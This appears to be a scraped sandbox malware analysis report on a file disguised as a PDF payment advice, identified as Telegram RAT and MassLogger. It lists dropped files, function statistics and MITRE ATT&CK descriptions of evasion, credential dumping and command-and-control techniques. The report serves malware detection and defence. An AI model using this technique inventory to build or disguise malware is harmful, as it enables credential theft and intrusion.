Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PAYMENT ADVICE TT07180016-24_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Situationen.Pol

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\tropaeola.Tel

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

Windows Analysis Report
PAYMENT ADVICE TT07180016-24_pdf.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre